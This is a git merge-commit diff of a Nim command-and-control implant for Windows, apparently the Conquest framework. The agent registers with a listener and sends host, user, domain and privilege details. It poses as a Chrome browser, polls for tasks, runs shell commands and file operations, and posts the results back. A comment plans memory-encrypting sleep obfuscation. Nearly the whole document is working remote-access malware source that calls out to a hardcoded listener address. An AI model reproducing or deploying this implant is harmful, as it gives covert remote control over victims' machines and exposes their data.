Merge commit '9f15026fd1f35346300f65bb6ef04ca023b62ee2'

This commit is contained in:
Jakob Friedl
2025-07-21 22:13:37 +02:00
34 changed files with 1452 additions and 853 deletions

View File

@@ -1,6 +1,4 @@
import winim import winim
import ../../types
export Task, CommandType, TaskResult, TaskStatus
type type
ProductType* = enum ProductType* = enum
@@ -25,7 +23,8 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
type type
AgentConfig* = ref object AgentConfig* = ref object
listener*: string agentId*: string
listenerId*: string
ip*: string ip*: string
port*: int port*: int
sleep*: int sleep*: int

View File

@@ -1,14 +1,15 @@
import os, strutils, strformat, base64, winim, times, algorithm, json import os, strutils, strformat, winim, times, algorithm
import ../types import ../agentTypes
import ../core/taskresult
import ../../../common/[types, utils]
# Retrieve current working directory # Retrieve current working directory
proc taskPwd*(task: Task): TaskResult = proc taskPwd*(config: AgentConfig, task: Task): TaskResult =
echo fmt"Retrieving current working directory." echo fmt" [>] Retrieving current working directory."
try: try:
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory
let let
buffer = newWString(MAX_PATH + 1) buffer = newWString(MAX_PATH + 1)
@@ -17,61 +18,41 @@ proc taskPwd*(task: Task): TaskResult =
if length == 0: if length == 0:
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
return TaskResult( let output = $buffer[0 ..< (int)length] & "\n"
task: task.id, return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
agent: task.agent,
data: encode($buffer[0 ..< (int)length] & "\n"),
status: Completed
)
except CatchableError as err: except CatchableError as err:
return TaskResult( return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Change working directory # Change working directory
proc taskCd*(task: Task): TaskResult = proc taskCd*(config: AgentConfig, task: Task): TaskResult =
# Parse arguments # Parse arguments
let targetDirectory = parseJson(task.args)["directory"].getStr() let targetDirectory = task.args[0].data.toString()
echo fmt"Changing current working directory to {targetDirectory}." echo fmt" [>] Changing current working directory to {targetDirectory}."
try: try:
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory
if SetCurrentDirectoryW(targetDirectory) == FALSE: if SetCurrentDirectoryW(targetDirectory) == FALSE:
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
return TaskResult( return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err: except CatchableError as err:
return TaskResult( return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# List files and directories at a specific or at the current path # List files and directories at a specific or at the current path
proc taskDir*(task: Task): TaskResult = proc taskDir*(config: AgentConfig, task: Task): TaskResult =
# Parse arguments try:
var targetDirectory = parseJson(task.args)["directory"].getStr() var targetDirectory: string
echo fmt"Listing files and directories." # Parse arguments
case int(task.argCount):
try: of 0:
# Check if users wants to list files in the current working directory or at another path
if targetDirectory == "":
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory
let let
cwdBuffer = newWString(MAX_PATH + 1) cwdBuffer = newWString(MAX_PATH + 1)
@@ -81,7 +62,14 @@ proc taskDir*(task: Task): TaskResult =
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
of 1:
targetDirectory = task.args[0].data.toString()
else:
discard
echo fmt" [>] Listing files and directories in {targetDirectory}."
# Prepare search pattern (target directory + \*) # Prepare search pattern (target directory + \*)
let searchPattern = targetDirectory & "\\*" let searchPattern = targetDirectory & "\\*"
let searchPatternW = newWString(searchPattern) let searchPatternW = newWString(searchPattern)
@@ -200,133 +188,83 @@ proc taskDir*(task: Task): TaskResult =
output &= "\n" & fmt"{totalFiles} file(s)" & "\n" output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
output &= fmt"{totalDirs} dir(s)" & "\n" output &= fmt"{totalDirs} dir(s)" & "\n"
return TaskResult( return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
task: task.id,
agent: task.agent,
data: encode(output),
status: Completed
)
except CatchableError as err: except CatchableError as err:
return TaskResult( return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Remove file # Remove file
proc taskRm*(task: Task): TaskResult = proc taskRm*(config: AgentConfig, task: Task): TaskResult =
# Parse arguments # Parse arguments
let target = parseJson(task.args)["file"].getStr() let target = task.args[0].data.toString()
echo fmt"Deleting file {target}." echo fmt" [>] Deleting file {target}."
try: try:
if DeleteFile(target) == FALSE: if DeleteFile(target) == FALSE:
raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).") raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
return TaskResult( return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err: except CatchableError as err:
return TaskResult( return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Remove directory # Remove directory
proc taskRmdir*(task: Task): TaskResult = proc taskRmdir*(config: AgentConfig, task: Task): TaskResult =
# Parse arguments # Parse arguments
let target = parseJson(task.args)["directory"].getStr() let target = task.args[0].data.toString()
echo fmt"Deleting directory {target}." echo fmt" [>] Deleting directory {target}."
try: try:
if RemoveDirectoryA(target) == FALSE: if RemoveDirectoryA(target) == FALSE:
raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).") raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
return TaskResult( return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err: except CatchableError as err:
return TaskResult( return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Move file or directory # Move file or directory
proc taskMove*(task: Task): TaskResult = proc taskMove*(config: AgentConfig, task: Task): TaskResult =
# Parse arguments # Parse arguments
echo task.args
let let
params = parseJson(task.args) lpExistingFileName = task.args[0].data.toString()
lpExistingFileName = params["from"].getStr() lpNewFileName = task.args[1].data.toString()
lpNewFileName = params["to"].getStr()
echo fmt"Moving {lpExistingFileName} to {lpNewFileName}." echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
try: try:
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).") raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
return TaskResult( return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err: except CatchableError as err:
return TaskResult( return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Copy file or directory # Copy file or directory
proc taskCopy*(task: Task): TaskResult = proc taskCopy*(config: AgentConfig, task: Task): TaskResult =
# Parse arguments # Parse arguments
let let
params = parseJson(task.args) lpExistingFileName = task.args[0].data.toString()
lpExistingFileName = params["from"].getStr() lpNewFileName = task.args[1].data.toString()
lpNewFileName = params["to"].getStr()
echo fmt"Copying {lpExistingFileName} to {lpNewFileName}." echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
try: try:
# Copy file to new location, overwrite if a file with the same name already exists # Copy file to new location, overwrite if a file with the same name already exists
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE: if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).") raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
return TaskResult( return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err: except CatchableError as err:
return TaskResult( return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)

View File

@@ -1,30 +1,35 @@
import winim, osproc, strutils, strformat, base64, json import winim, osproc, strutils, strformat
import ../types import ../core/taskresult
import ../agentTypes
import ../../../common/[types, utils]
proc taskShell*(task: Task): TaskResult = proc taskShell*(config: AgentConfig, task: Task): TaskResult =
# Parse arguments JSON string to obtain specific values
let
params = parseJson(task.args)
command = params["command"].getStr()
arguments = params["arguments"].getStr()
echo fmt"Executing command {command} with arguments {arguments}"
try: try:
var
command: string
arguments: string
# Parse arguments
case int(task.argCount):
of 1: # Only the command has been passed as an argument
command = task.args[0].data.toString()
arguments = ""
of 2: # The optional 'arguments' parameter was included
command = task.args[0].data.toString()
arguments = task.args[1].data.toString()
else:
discard
echo fmt" [>] Executing: {command} {arguments}."
let (output, status) = execCmdEx(fmt("{command} {arguments}")) let (output, status) = execCmdEx(fmt("{command} {arguments}"))
return TaskResult(
task: task.id, if output != "":
agent: task.agent, return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
data: encode(output), else:
status: Completed return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
)
except CatchableError as err: except CatchableError as err:
return TaskResult( return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)

View File

@@ -1,27 +1,22 @@
import os, strutils, strformat, base64, json import os, strutils, strformat
import ../types import ../[agentTypes]
import ../core/taskresult
import ../../../common/[types, utils, serialize]
proc taskSleep*(task: Task): TaskResult = proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
# Parse task parameter
let delay = parseJson(task.args)["delay"].getInt()
echo fmt"Sleeping for {delay} seconds."
try: try:
# Parse task parameter
let delay = int(task.args[0].data.toUint32())
echo fmt" [>] Sleeping for {delay} seconds."
sleep(delay * 1000) sleep(delay * 1000)
return TaskResult(
task: task.id, # Updating sleep in agent config
agent: task.agent, config.sleep = delay
data: encode(""), return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
status: Completed
)
except CatchableError as err: except CatchableError as err:
return TaskResult( return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)

View File

@@ -0,0 +1,78 @@
import httpclient, json, strformat, asyncdispatch
import ./metadata
import ../agentTypes
import ../../../common/[types, utils]
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define HTTP headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $registrationData.len
})
let body = registrationData.toString()
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
except CatchableError as err:
echo "[-] [register]:", err.msg
quit(0)
finally:
client.close()
return true
proc getTasks*(config: AgentConfig): string =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = ""
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks")
return responseBody
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: " & err.msg
finally:
client.close()
return ""
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $resultData.len
})
let body = resultData.toString()
echo body
try:
# Send binary task result data to server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: " & err.msg
return false
finally:
client.close()
return true

View File

@@ -1,6 +1,7 @@
import winim, os, net, strformat, strutils, registry import winim, os, net, strformat, strutils, registry
import ./[types, utils] import ../agentTypes
import ../../../common/[types, utils]
# Hostname/Computername # Hostname/Computername
proc getHostname*(): string = proc getHostname*(): string =
@@ -68,6 +69,69 @@ proc getIPv4Address*(): string =
return $getPrimaryIpAddr() return $getPrimaryIpAddr()
# Windows Version fingerprinting # Windows Version fingerprinting
proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"
proc getProductType(): ProductType = proc getProductType(): ProductType =
# The product key is retrieved from the registry # The product key is retrieved from the registry
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
@@ -88,11 +152,11 @@ proc getProductType(): ProductType =
proc getOSVersion*(): string = proc getOSVersion*(): string =
proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS proc rtlGetVersion(lpVersionInformation: var agentTypes.OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
when defined(windows): when defined(windows):
var osInfo: types.OSVersionInfoExW var osInfo: agentTypes.OSVersionInfoExW
discard rtlGetVersion(osInfo) discard rtlGetVersion(osInfo)
# echo $int(osInfo.dwMajorVersion) # echo $int(osInfo.dwMajorVersion)
# echo $int(osInfo.dwMinorVersion) # echo $int(osInfo.dwMinorVersion)
@@ -108,4 +172,29 @@ proc getOSVersion*(): string =
else: else:
return "Unknown" return "Unknown"
proc getRegistrationData*(config: AgentConfig): AgentRegistrationData =
return AgentRegistrationData(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_RESPONSE),
flags: cast[uint16](FLAG_PLAINTEXT),
seqNr: 1'u32, # TODO: Implement sequence tracking
size: 0'u32,
hmac: default(array[16, byte])
),
metadata: AgentMetadata(
agentId: uuidToUint32(config.agentId),
listenerId: uuidToUint32(config.listenerId),
username: getUsername().toBytes(),
hostname: getHostname().toBytes(),
domain: getDomain().toBytes(),
ip: getIPv4Address().toBytes(),
os: getOSVersion().toBytes(),
process: getProcessExe().toBytes(),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](config.sleep)
)
)

View File

@@ -0,0 +1,164 @@
import strutils, strformat
import ../../../common/[types, utils, serialize]
proc deserializeTask*(bytes: seq[byte]): Task =
var unpacker = initUnpacker(bytes.toString)
let
magic = unpacker.getUint32()
version = unpacker.getUint8()
packetType = unpacker.getUint8()
flags = unpacker.getUint16()
seqNr = unpacker.getUint32()
size = unpacker.getUint32()
hmacBytes = unpacker.getBytes(16)
# Explicit conversion from seq[byte] to array[16, byte]
var hmac: array[16, byte]
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
# Packet Validation
if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
# TODO: Validate sequence number
# TODO: Validate HMAC
# TODO: Decrypt payload
# let payload = unpacker.getBytes(size)
let
taskId = unpacker.getUint32()
agentId = unpacker.getUint32()
listenerId = unpacker.getUint32()
timestamp = unpacker.getUint32()
command = unpacker.getUint16()
var argCount = unpacker.getUint8()
var args = newSeq[TaskArg]()
# Parse arguments
var i = 0
while i < int(argCount):
args.add(unpacker.getArgument())
inc i
return Task(
header: Header(
magic: magic,
version: version,
packetType: packetType,
flags: flags,
seqNr: seqNr,
size: size,
hmac: hmac
),
taskId: taskId,
agentId: agentId,
listenerId: listenerId,
timestamp: timestamp,
command: command,
argCount: argCount,
args: args
)
proc deserializePacket*(packet: string): seq[Task] =
result = newSeq[Task]()
var unpacker = initUnpacker(packet)
var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks."
if taskCount <= 0:
return @[]
while taskCount > 0:
# Read length of each task and store the task object in a seq[byte]
let
taskLength = unpacker.getUint32()
taskBytes = unpacker.getBytes(int(taskLength))
result.add(deserializeTask(taskBytes))
dec taskCount
proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
var packer = initPacker()
# Serialize result body
packer
.add(taskResult.taskId)
.add(taskResult.agentId)
.add(taskResult.listenerId)
.add(taskResult.timestamp)
.add(taskResult.command)
.add(taskResult.status)
.add(taskResult.resultType)
.add(taskResult.length)
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
packer.addData(taskResult.data)
let body = packer.pack()
packer.reset()
# TODO: Encrypt result body
# Serialize header
packer
.add(taskResult.header.magic)
.add(taskResult.header.version)
.add(taskResult.header.packetType)
.add(taskResult.header.flags)
.add(taskResult.header.seqNr)
.add(cast[uint32](body.len))
.addData(taskResult.header.hmac)
let header = packer.pack()
# TODO: Calculate and patch HMAC
return header & body
proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
var packer = initPacker()
# Serialize registration data
packer
.add(data.metadata.agentId)
.add(data.metadata.listenerId)
.addVarLengthMetadata(data.metadata.username)
.addVarLengthMetadata(data.metadata.hostname)
.addVarLengthMetadata(data.metadata.domain)
.addVarLengthMetadata(data.metadata.ip)
.addVarLengthMetadata(data.metadata.os)
.addVarLengthMetadata(data.metadata.process)
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
let metadata = packer.pack()
packer.reset()
# TODO: Encrypt metadata
# Serialize header
packer
.add(data.header.magic)
.add(data.header.version)
.add(data.header.packetType)
.add(data.header.flags)
.add(data.header.seqNr)
.add(cast[uint32](metadata.len))
.addData(data.header.hmac)
let header = packer.pack()
return header & metadata

View File

@@ -0,0 +1,24 @@
import strutils, tables, json
import ../agentTypes
import ../commands/commands
import ../../../common/[types, utils]
import sugar
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
let handlers = {
CMD_SLEEP: taskSleep,
CMD_SHELL: taskShell,
CMD_PWD: taskPwd,
CMD_CD: taskCd,
CMD_LS: taskDir,
CMD_RM: taskRm,
CMD_RMDIR: taskRmdir,
CMD_MOVE: taskMove,
CMD_COPY: taskCopy
}.toTable
# Handle task command
return handlers[cast[CommandType](task.command)](config, task)

View File

@@ -0,0 +1,25 @@
import times
import ../../../common/[types, utils]
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
return TaskResult(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_RESPONSE),
flags: cast[uint16](FLAG_PLAINTEXT),
seqNr: 1'u32, # TODO: Implement sequence tracking
size: 0'u32,
hmac: default(array[16, byte])
),
taskId: task.taskId,
agentId: task.agentId,
listenerId: task.listenerId,
timestamp: uint32(now().toTime().toUnix()),
command: task.command,
status: cast[uint8](status),
resultType: cast[uint8](resultType),
length: uint32(resultData.len),
data: resultData,
)

View File

@@ -1,74 +0,0 @@
import httpclient, json, strformat, asyncdispatch
import ./[types, agentinfo]
proc register*(config: AgentConfig): string =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
# Create registration payload
let body = %*{
"username": getUsername(),
"hostname":getHostname(),
"domain": getDomain(),
"ip": getIPv4Address(),
"os": getOSVersion(),
"process": getProcessExe(),
"pid": getProcessId(),
"elevated": isElevated(),
"sleep": config.sleep
}
echo $body
try:
# Register agent to the Conquest server
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
except CatchableError as err:
echo "[-] [register]:", err.msg
quit(0)
finally:
client.close()
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
let client = newAsyncHttpClient()
var responseBody = ""
try:
# Register agent to the Conquest server
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
return parseJson(responseBody).to(seq[Task])
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: ", responseBody
finally:
client.close()
return @[]
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
let taskJson = %taskResult
echo $taskJson
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: ", err.msg
return false
finally:
client.close()
return true

View File

@@ -1,7 +1,10 @@
import strformat, os, times import strformat, os, times, random
import winim import winim
import sugar
import ./[types, http, taskHandler] import ./agentTypes
import core/[task, packer, http, metadata]
import ../../common/[types, utils]
const ListenerUuid {.strdefine.}: string = "" const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0 const Octet1 {.intdefine.}: int = 0
@@ -12,6 +15,7 @@ const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10 const SleepDelay {.intdefine.}: int = 10
proc main() = proc main() =
randomize()
#[ #[
The process is the following: The process is the following:
@@ -33,14 +37,19 @@ proc main() =
# Create agent configuration # Create agent configuration
var config = AgentConfig( var config = AgentConfig(
listener: ListenerUuid, agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address, ip: address,
port: ListenerPort, port: ListenerPort,
sleep: SleepDelay sleep: SleepDelay
) )
let agent = config.register() # Create registration payload
echo fmt"[+] [{agent}] Agent registered." let registrationData: AgentRegistrationData = config.getRegistrationData()
let registrationBytes = serializeRegistrationData(registrationData)
config.register(registrationBytes)
echo fmt"[+] [{config.agentId}] Agent registered."
#[ #[
Agent routine: Agent routine:
@@ -52,22 +61,33 @@ proc main() =
]# ]#
while true: while true:
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
sleep(config.sleep * 1000) sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in." echo fmt"[{date}] Checking in."
# Retrieve task queue from the teamserver for the current agent # Retrieve task queue for the current agent
let tasks: seq[Task] = config.getTasks(agent) let packet: string = config.getTasks()
if tasks.len <= 0: if packet.len <= 0:
echo "[*] No tasks to execute." echo "No tasks to execute."
continue continue
let tasks: seq[Task] = deserializePacket(packet)
if tasks.len <= 0:
echo "No tasks to execute."
continue
# Execute all retrieved tasks and return their output to the server # Execute all retrieved tasks and return their output to the server
for task in tasks: for task in tasks:
let result: TaskResult = task.handleTask(config) let
discard config.postResults(agent, result) result: TaskResult = config.handleTask(task)
resultData: seq[byte] = serializeTaskResult(result)
# echo resultData
config.postResults(resultData)
when isMainModule: when isMainModule:
main() main()

View File

@@ -1,8 +1,8 @@
# Agent configuration # Agent configuration
-d:ListenerUuid="CFD80565" -d:ListenerUuid="A5466110"
-d:Octet1="127" -d:Octet1="172"
-d:Octet2="0" -d:Octet2="29"
-d:Octet3="0" -d:Octet3="177"
-d:Octet4="1" -d:Octet4="43"
-d:ListenerPort=9999 -d:ListenerPort=8888
-d:SleepDelay=10 -d:SleepDelay=5

View File

@@ -1,34 +0,0 @@
import strutils, tables, json
import ./types
import ./commands/commands
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
var taskResult: TaskResult
let handlers = {
ExecuteShell: taskShell,
Sleep: taskSleep,
GetWorkingDirectory: taskPwd,
SetWorkingDirectory: taskCd,
ListDirectory: taskDir,
RemoveFile: taskRm,
RemoveDirectory: taskRmdir,
Move: taskMove,
Copy: taskCopy
}.toTable
# Handle task command
taskResult = handlers[task.command](task)
echo taskResult.data
# Handle actions on specific commands
case task.command:
of Sleep:
if taskResult.status == Completed:
config.sleep = parseJson(task.args)["delay"].getInt()
else:
discard
# Return the result
return taskResult

View File

@@ -1,65 +0,0 @@
import strformat
import ./types
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"

0
src/common/crypto.nim Normal file
View File

128
src/common/serialize.nim Normal file
View File

@@ -0,0 +1,128 @@
import streams, strutils
import ./[types, utils]
type
Packer* = ref object
stream: StringStream
proc initPacker*(): Packer =
result = new Packer
result.stream = newStringStream()
proc add*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} =
packer.stream.write(value)
return packer
proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
packer.stream.writeData(data[0].unsafeAddr, data.len)
return packer
proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
if arg.data.len <= 0:
# Optional argument was passed as "", ignore
return
packer.add(arg.argType)
case cast[ArgType](arg.argType):
of STRING, BINARY:
# Add length for variable-length data types
packer.add(cast[uint32](arg.data.len))
packer.addData(arg.data)
else:
packer.addData(arg.data)
return packer
proc addVarLengthMetadata*(packer: Packer, metadata: seq[byte]): Packer {.discardable.} =
# Add length of metadata field
packer.add(cast[uint32](metadata.len))
if metadata.len <= 0:
# Field is empty (e.g. not domain joined)
return packer
# Add content
packer.addData(metadata)
return packer
proc pack*(packer: Packer): seq[byte] =
packer.stream.setPosition(0)
let data = packer.stream.readAll()
result = newSeq[byte](data.len)
for i, c in data:
result[i] = byte(c.ord)
packer.stream.setPosition(0)
proc reset*(packer: Packer): Packer {.discardable.} =
packer.stream.close()
packer.stream = newStringStream()
return packer
type
Unpacker* = ref object
stream: StringStream
position: int
proc initUnpacker*(data: string): Unpacker =
result = new Unpacker
result.stream = newStringStream(data)
result.position = 0
proc getUint8*(unpacker: Unpacker): uint8 =
result = unpacker.stream.readUint8()
unpacker.position += 1
proc getUint16*(unpacker: Unpacker): uint16 =
result = unpacker.stream.readUint16()
unpacker.position += 2
proc getUint32*(unpacker: Unpacker): uint32 =
result = unpacker.stream.readUint32()
unpacker.position += 4
proc getUint64*(unpacker: Unpacker): uint64 =
result = unpacker.stream.readUint64()
unpacker.position += 8
proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
if length <= 0:
return @[]
result = newSeq[byte](length)
let bytesRead = unpacker.stream.readData(result[0].addr, length)
unpacker.position += bytesRead
if bytesRead != length:
raise newException(IOError, "Not enough data to read")
proc getArgument*(unpacker: Unpacker): TaskArg =
result.argType = unpacker.getUint8()
case cast[ArgType](result.argType):
of STRING, BINARY:
# Variable-length fields are prefixed with the content-length
let length = unpacker.getUint32()
result.data = unpacker.getBytes(int(length))
of INT:
result.data = unpacker.getBytes(4)
of LONG:
result.data = unpacker.getBytes(8)
of BOOL:
result.data = unpacker.getBytes(1)
else:
discard
proc getVarLengthMetadata*(unpacker: Unpacker): string =
# Read length of metadata field
let length = unpacker.getUint32()
if length <= 0:
return ""
# Read content
return unpacker.getBytes(int(length)).toString()

160
src/common/types.nim Normal file
View File

@@ -0,0 +1,160 @@
import prompt
import tables
import times
import streams
# Custom Binary Task structure
const
